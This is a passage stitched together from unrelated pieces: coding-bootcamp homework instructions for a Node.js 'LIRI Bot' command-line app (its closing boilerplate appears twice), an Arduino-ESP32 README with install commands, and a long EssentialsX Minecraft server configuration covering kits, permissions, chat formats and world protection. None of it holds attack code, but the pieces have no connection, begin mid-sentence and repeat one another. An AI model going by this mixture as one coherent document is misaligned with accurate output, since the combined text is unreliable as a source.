complete certain portions, please pseudocode these portions to describe what remains to be completed. Adding a README.md as well as adding this homework to your portfolio are required as well and more information can be found below. - - - ### Create a README.md Add a `README.md` to your repository describing the project. Here are some resources for creating your `README.md`. Here are some resources to help you along the way: * [About READMEs](https://help.github.com/articles/about-readmes/) * [Mastering Markdown](https://guides.github.com/features/mastering-markdown/) - - - ### Add To Your Portfolio After completing the homework please add the piece to your portfolio. Make sure to add a link to your updated portfolio in the comments section of your homework so the TAs can easily ensure you completed this step when they are grading the assignment. To receive an 'A' on any assignment, you must link to it from your portfolio. - - - ### One More Thing If you have any questions about this project or the material we have covered, please post them in the community channels in slack so that your fellow developers can help you! If you're still having trouble, you can come to office hours for assistance from your instructor and TAs. **Good Luck!**

# LIRI Bot ### Overview In this assignment, you will make LIRI. LIRI is like iPhone's SIRI. However, while SIRI is a Speech Interpretation and Recognition Interface, LIRI is a _Language_ Interpretation and Recognition Interface. LIRI will be a command line node app that takes in parameters and gives you back data. ### Before You Begin 1. LIRI will search Spotify for songs, Bands in Town for concerts, and OMDB for movies. 2. Make a new GitHub repository called liri-node-app and clone it to your computer. 3. To retrieve the data that will power this app, you'll need to send requests to the Bands in Town, Spotify and OMDB APIs. You'll find these Node packages crucial for your assignment. * [Node-Spotify-API](https://www.npmjs.com/package/node-spotify-api) * [Request](https://www.npmjs.com/package/request) * You'll use Request to grab data from the [OMDB API](http://www.omdbapi.com) and the [Bands In Town API](http://www.artists.bandsintown.com/bandsintown-api) * [Moment](https://www.npmjs.com/package/moment) * [DotEnv](https://www.npmjs.com/package/dotenv) ## Submission Guide Make sure you use the normal GitHub. Because this is a CLI App, there will be no need to deploy it to Heroku. This time, though, you need to include screenshots, a gif, and/or a video showing us that you got the app working with no bugs. You can include these screenshots or a link to a video in a `README.md` file. * Include screenshots (or a video) of typical user flows through your application (for the customer and if relevant the manager/supervisor). This includes views of the prompts and the responses after their selection (for the different selection options). * Include any other screenshots you deem necessary to help someone who has never been introduced to your application understand the purpose and function of it. This is how you will communicate to potential employers/other developers in the future what you built and why, and to show how it works. * Because screenshots (and well-written READMEs) are extremely important in the context of GitHub, this will be part of the grading. If you haven't written a markdown file yet, [click here for a rundown](https://guides.github.com/features/mastering-markdown/), or just take a look at the raw file of these instructions. ### Submission on BCS * Please submit the link to the Github Repository! ### Instructions 1. Navigate to the root of your project and run `npm init -y` &mdash; this will initialize a `package.json` file for your project. The `package.json` file is required for installing third party npm packages and saving their version numbers. If you fail to initialize a `package.json` file, it will be troublesome, and at times almost impossible for anyone else to run your code after cloning your project. 2. Make a `.gitignore` file and add the following lines to it. This will tell git not to track these files, and thus they won't be committed to Github. ``` node_modules .DS_Store .env ``` 3. Make a JavaScript file named `keys.js`. * Inside keys.js your file will look like this: ```js console.log('this is loaded'); exports.spotify = { id: process.env.SPOTIFY_ID, secret: process.env.SPOTIFY_SECRET }; ``` 4. Next, create a file named `.env`, add the following to it, replacing the values with your API keys (no quotes) once you have them: ```js # Spotify API keys SPOTIFY_ID=your-spotify-id SPOTIFY_SECRET=your-spotify-secret ``` * This file will be used by the `dotenv` package to set what are known as environment variables to the global `process.env` object in node. These are values that are meant to be specific to the computer that node is running on, and since we are gitignoring this file, they won't be pushed to github &mdash; keeping our API key information private. * If someone wanted to clone your app from github and run it themselves, they would need to supply their own `.env` file for it to work. 5. Make a file called `random.txt`. * Inside of `random.txt` put the following in with no extra characters or white space: * spotify-this-song,"I Want it That Way" 6. Make a JavaScript file named `liri.js`. 7. At the top of the `liri.js` file, add code to read and set any environment variables with the dotenv package: ```js require("dotenv").config(); ``` 8. Add the code required to import the `keys.js` file and store it in a variable. * You should then be able to access your keys information like so ```js var spotify = new Spotify(keys.spotify); ``` 9. Make it so liri.js can take in one of the following commands: * `concert-this` * `spotify-this-song` * `movie-this` * `do-what-it-says` ### What Each Command Should Do 1. `node liri.js concert-this <artist/band name here>` * This will search the Bands in Town Artist Events API (`"https://rest.bandsintown.com/artists/" + artist + "/events?app_id=codingbootcamp"`) for an artist and render the following information about each event to the terminal: * Name of the venue * Venue location * Date of the Event (use moment to format this as "MM/DD/YYYY") 2. `node liri.js spotify-this-song '<song name here>'` * This will show the following information about the song in your terminal/bash window * Artist(s) * The song's name * A preview link of the song from Spotify * The album that the song is from * If no song is provided then your program will default to "The Sign" by Ace of Base. * You will utilize the [node-spotify-api](https://www.npmjs.com/package/node-spotify-api) package in order to retrieve song information from the Spotify API. * The Spotify API requires you sign up as a developer to generate the necessary credentials. You can follow these steps in order to generate a **client id** and **client secret**: * Step One: Visit <https://developer.spotify.com/my-applications/#!/> * Step Two: Either login to your existing Spotify account or create a new one (a free account is fine) and log in. * Step Three: Once logged in, navigate to <https://developer.spotify.com/my-applications/#!/applications/create> to register a new application to be used with the Spotify API. You can fill in whatever you'd like for these fields. When finished, click the "complete" button. * Step Four: On the next screen, scroll down to where you see your client id and client secret. Copy these values down somewhere, you'll need them to use the Spotify API and the [node-spotify-api package](https://www.npmjs.com/package/node-spotify-api). 3. `node liri.js movie-this '<movie name here>'` * This will output the following information to your terminal/bash window: ``` * Title of the movie. * Year the movie came out. * IMDB Rating of the movie. * Rotten Tomatoes Rating of the movie. * Country where the movie was produced. * Language of the movie. * Plot of the movie. * Actors in the movie. ``` * If the user doesn't type a movie in, the program will output data for the movie 'Mr. Nobody.' * If you haven't watched "Mr. Nobody," then you should: <http://www.imdb.com/title/tt0485947/> * It's on Netflix! * You'll use the request package to retrieve data from the OMDB API. Like all of the in-class activities, the OMDB API requires an API key. You may use `trilogy`. 4. `node liri.js do-what-it-says` * Using the `fs` Node package, LIRI will take the text inside of random.txt and then use it to call one of LIRI's commands. * It should run `spotify-this-song` for "I Want it That Way," as follows the text in `random.txt`. * Edit the text in random.txt to test out the feature for movie-this and concert-this. ### BONUS * In addition to logging the data to your terminal/bash window, output the data to a .txt file called `log.txt`. * Make sure you append each command you run to the `log.txt` file. * Do not overwrite your file each time you run a command. ### Reminder: Submission on BCS * Please submit the link to the Github Repository! - - - ### Minimum Requirements Attempt to complete homework assignment as described in instructions. If unable to complete certain portions, please pseudocode these portions to describe what remains to be completed. Adding a README.md as well as adding this homework to your portfolio are required as well and more information can be found below. - - - ### Create a README.md Add a `README.md` to your repository describing the project. Here are some resources for creating your `README.md`. Here are some resources to help you along the way: * [About READMEs](https://help.github.com/articles/about-readmes/) * [Mastering Markdown](https://guides.github.com/features/mastering-markdown/) - - - ### Add To Your Portfolio After completing the homework please add the piece to your portfolio. Make sure to add a link to your updated portfolio in the comments section of your homework so the TAs can easily ensure you completed this step when they are grading the assignment. To receive an 'A' on any assignment, you must link to it from your portfolio. - - - ### One More Thing If you have any questions about this project or the material we have covered, please post them in the community channels in slack so that your fellow developers can help you! If you're still having trouble, you can come to office hours for assistance from your instructor and TAs. **Good Luck!**

Arduino core for ESP32 WiFi chip Build Status Need help or have a question? Join the chat at https://gitter.im/espressif/arduino-esp32 Development Status Installation Instructions: Using Arduino IDE Windows Mac OS Debian/Ubuntu Decoding Exceptions Using PlatformIO Using as ESP-IDF component ESP32Dev Board PINMAP Development Status Most of the framework is implemented. Most noticable is the missing analogWrite. While analogWrite is on it's way, there are a few other options that you can use: 16 channels LEDC which is PWM 8 channels SigmaDelta which uses SigmaDelta modulation 2 channels DAC which gives real analog output Installation Instructions Using through Arduino IDE ###Instructions for Windows Instructions for Mac Install latest Arduino IDE from arduino.cc Open Terminal and execute the following command (copy->paste and hit enter): mkdir -p ~/Documents/Arduino/hardware/espressif && \ cd ~/Documents/Arduino/hardware/espressif && \ git clone https://github.com/espressif/arduino-esp32.git esp32 && \ cd esp32/tools/ && \ python get.py Restart Arduino IDE Instructions for Debian/Ubuntu Linux Install latest Arduino IDE from arduino.cc Open Terminal and execute the following command (copy->paste and hit enter): sudo usermod -a -G dialout $USER && \ sudo apt-get install git && \ wget https://bootstrap.pypa.io/get-pip.py && \ sudo python get-pip.py && \ sudo pip install pyserial && \ mkdir -p ~/Arduino/hardware/espressif && \ cd ~/Arduino/hardware/espressif && \ git clone https://github.com/espressif/arduino-esp32.git esp32 && \ cd esp32/tools/ && \ python get.py Restart Arduino IDE Decoding exceptions You can use EspExceptionDecoder to get meaningful call trace. Using PlatformIO PlatformIO is an open source ecosystem for IoT development with cross platform build system, library manager and full support for Espressif ESP32 development. It works on the popular host OS: Mac OS X, Windows, Linux 32/64, Linux ARM (like Raspberry Pi, BeagleBone, CubieBoard). What is PlatformIO? PlatformIO IDE Quick Start with PlatformIO IDE or PlatformIO Core Integration with Cloud and Standalone IDEs - Cloud9, Codeanywehre, Eclipse Che (Codenvy), Atom, CLion, Eclipse, Emacs, NetBeans, Qt Creator, Sublime Text, VIM and Visual Studio Project Examples Using "Stage" (Git) version of Arduino Core Building with make makeEspArduino is a generic makefile for any ESP8266/ESP32 Arduino project. Using make instead of the Arduino IDE makes it easier to do automated and production builds. Using as ESP-IDF component Download and install esp-idf Create blank idf project (from one of the examples) in the project folder, create a folder called components and clone this repository inside mkdir -p components && \ cd components && \ git clone https://github.com/espressif/arduino-esp32.git arduino && \ cd .. && \ make menuconfig make menuconfig has some Arduino options "Autostart Arduino setup and loop on boot" If you enable this options, your main.cpp should be formated like any other sketch //file: main.cpp #include "Arduino.h" void setup(){ Serial.begin(115200); } void loop(){ Serial.println("loop"); delay(1000); } Else you need to implement app_main() and call initArduino(); in it. Keep in mind that setup() and loop() will not be called in this case. If you plan to base your code on examples provided in esp-idf, please make sure move the app_main() function in main.cpp from the files in the example. //file: main.cpp #include "Arduino.h" extern "C" void app_main() { initArduino(); pinMode(4, OUTPUT); digitalWrite(4, HIGH); //do your own thing } "Disable mutex locks for HAL" If enabled, there will be no protection on the drivers from concurently accessing them from another thread/interrupt/core "Autoconnect WiFi on boot" If enabled, WiFi will start with the last known configuration Else it will wait for WiFi.begin make flash monitor will build, upload and open serial monitor to your board ESP32Dev Board PINMAP Pin Functions Hint Sometimes to program ESP32 via serial you must keep GPIO0 LOW during the programming process

############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: '4' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # The maximum length allowed in nicknames. The nickname prefix is included in this. max-nick-length: 15 # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isn't used, force essentials to add the prefix and suffix from permission plugins to displayname. # This setting is ignored if essentialschat.jar is used, and defaults to 'true'. # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # If the teleport destination is unsafe, should players be teleported to the nearest safe location? # If this is set to true, Essentials will attempt to teleport players close to the intended destination. # If this is set to false, attempted teleports to unsafe locations will be cancelled with a warning. teleport-safety: true # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 3 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command. # This will also prevent the player attacking other players. teleport-invulnerability: 4 # The delay, in seconds, required between /heal or /feed attempts. heal-cooldown: 60 # What to prevent from /i /give. # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules. # Note: The blacklist above will be ignored then. # Example permissions (these go in your permissions manager): # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # - essentials.unlimited.item-all # - essentials.unlimited.item-[itemname] # - essentials.unlimited.item-[itemid] # - essentials.unlimited.item-bucket # Unlimited liquid placing # # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution. spawnmob-limit: 1 # Shall we notify users when using /lightning? warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt. # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # - info # Disabling commands here will prevent Essentials handling the command, this will not affect command conflicts. # Commands should fallback to the vanilla versions if available. # You should not have to disable commands used in other plugins, they will automatically get priority. disabled-commands: # - nick # - clear - mail - mail.send - nuke - afk # These commands will be shown to players with socialSpy enabled. # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on. socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system, simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: Goblin: delay: 3600 items: - 272 1 sharpness:2 unbreaking:1 looting:1 name:&8[&2Goblin&8]&fSword - 306 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fHelmet - 307 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fChestplate - 308 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fLeggings - 309 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fBoots - 256 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fShovel - 257 1 efficiency:1 unbreaking:1 fortune:1 name:&8[&2Goblin&8]&fPickaxe - 258 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fAxe - 364 16 Griefer: delay: 14400 items: - 276 1 sharpness:3 unbreaking:3 name:&8[&d&lGriefer&8]&fSword - 322:1 1 - 310 1 protection:2 name:&8[&d&lGriefer&8]&fHelmet - 311 1 protection:2 name:&8[&d&lGriefer&8]&fChestplate - 312 1 protection:2 name:&8[&d&lGriefer&8]&fLeggings - 313 1 protection:2 name:&8[&d&lGriefer&8]&fBoots Villager: delay: 43200 items: - 267 1 sharpness:4 name:&8[&eVillager&8]&fSword - 306 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fHelmet - 307 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fChestplate - 308 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fLeggings - 309 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fBoots - 388 10 - 383:120 2 Knight: delay: 43200 items: - 276 1 sharpness:3 name:&8[&cKnight&8]&fSword - 310 1 protection:2 name:&8[&cKnight&8]&fHelmet - 311 1 protection:2 name:&8[&cKnight&8]&fChestplate - 312 1 protection:2 name:&8[&cKnight&8]&fLeggings - 313 1 protection:2 name:&8[&cKnight&8]&fBoots - 388 20 - 383:120 4 King: delay: 43200 items: - 276 1 sharpness:4 fire:1 name:&8[&5King&8]&fSword - 310 1 protection:4 name:&8[&5King&8]&fHelmet - 311 1 protection:4 name:&8[&5King&8]&fChestplate - 312 1 protection:4 name:&8[&5King&8]&fLeggings - 313 1 protection:4 name:&8[&5King&8]&fBoots - 388 30 - 383:120 6 Hero: delay: 43200 items: - 276 1 sharpness:4 fire:2 name:&8[&aHero&8]&fSword - 310 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fHelmet - 311 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fChestplate - 312 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fLeggings - 313 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fBoots - 388 40 - 383:120 8 God: delay: 43200 items: - 276 1 sharpness:5 fire:2 name:&8[&4God&8]&fSword - 310 1 protection:4 unbreaking:3 name:&8[&4God&8]&fHelmet - 311 1 protection:4 unbreaking:3 name:&8[&4God&8]&fChestplate - 312 1 protection:4 unbreaking:3 name:&8[&4God&8]&fLeggings - 313 1 protection:4 unbreaking:3 name:&8[&4God&8]&fBoots - 388 50 - 383:120 10 - 322:1 5 Legend: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&6&lLegend&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&6&lLegend&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&6&lLegend&8]&fAxe Youtube: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&f&lYou&c&lTube&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fAxe Join: delay: 3600 items: - 17 16 - 333 1 - 49 32 - 50 16 - 4 64 - 373:8258 1 - 320 16 Reset: delay: 31536000 items: - 272 1 sharpness:4 unbreaking:3 name:&8[&cR&ee&as&be&dt&8]&fSword - 298 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fHelmet - 299 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fChestplate - 300 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fLeggings - 301 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fBoots - 354 1 name:&f&l Cake &4Vote # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: - color - balance - buy - sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled. backup: # Interval in minutes. interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups. # You can hide and merge the groups displayed in /list by defining the desired behaviour here. # Detailed instructions and examples can be found on the wiki: http://wiki.ess3.net/wiki/List list: # To merge groups, list the groups you wish to merge #Staff: owner admin moderator Admins: owner admin # To limit groups, set a max user limit #builder: 20 # To hide groups, set the group as hidden #default: hidden # Uncomment the line below to simply list all players with no grouping #Players: '*' # More output to the console. debug: false # Set the locale for all messages. # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties". # Don't forget to remove the # in front of the line. # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit. remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # This feature requires the player to have essentials.afk.auto node. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # essentials.afk.kickexempt node overrides this feature. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here. death-messages: false # Should operators be able to join and part silently. # You can control this with permissions if it is enabled. allow-silent-join-quit: true # You can set a custom join message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-join-message: "" # You can set a custom quit message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-quit-message: "" # Add worlds to this list, if you want to automatically disable god mode there. no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands. # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks. # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission. # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in. login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the max walk speed, values range from 0.1 to 1.0 max-walk-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime. update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds. # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home. # You can set the default number of multiple homes using the 'default' rank below. # To remove the home limit entirely, give people 'essentials.sethome.multiple.unlimited'. # To grant different home amounts to different people, you need to define a 'home-rank' below. # Create the 'home-rank' below, and give the matching permission: essentials.sethome.multiple.<home-rank> # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: Goblin: 1 Villager: 2 Knight: 3 King: 4 Hero: 5 God: 6 # In this example someone with 'essentials.sethome.multiple' and 'essentials.sethome.multiple.vip' will have 5 homes. # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout. tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 1000 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE. # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have. # The amount is always limited to 10 trillion because of the limitations of a java double. max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command. economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help. non-ess-in-help: true # Hide plugins which do not give a permission. # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat. # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '<{DISPLAYNAME}> {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: Goblin: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Youtuber: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Witch: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Wizard: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Sorcerer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Raider: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Greifer: '&7{DISPLAYNAME}&8:&a {MESSAGE}' ChatMod: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Owner: '&7{DISPLAYNAME}&8:&c {MESSAGE}' OP: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Developer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Admin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' JuniorAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' StaffManager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' ForumAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadModerator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Moderator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Helper: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Villager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Knight: '&7{DISPLAYNAME}&8:&f {MESSAGE}' King: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Hero: '&7{DISPLAYNAME}&8:&f {MESSAGE}' God: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Legend: '&7{DISPLAYNAME}&8:&b {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # General physics/behavior modifications. prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false tnt-minecart-explosion: false tnt-minecart-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players. # permission essentials.protect.entitytarget.bypass disables this. entitytarget: false # Prevent the spawning of creatures. spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false 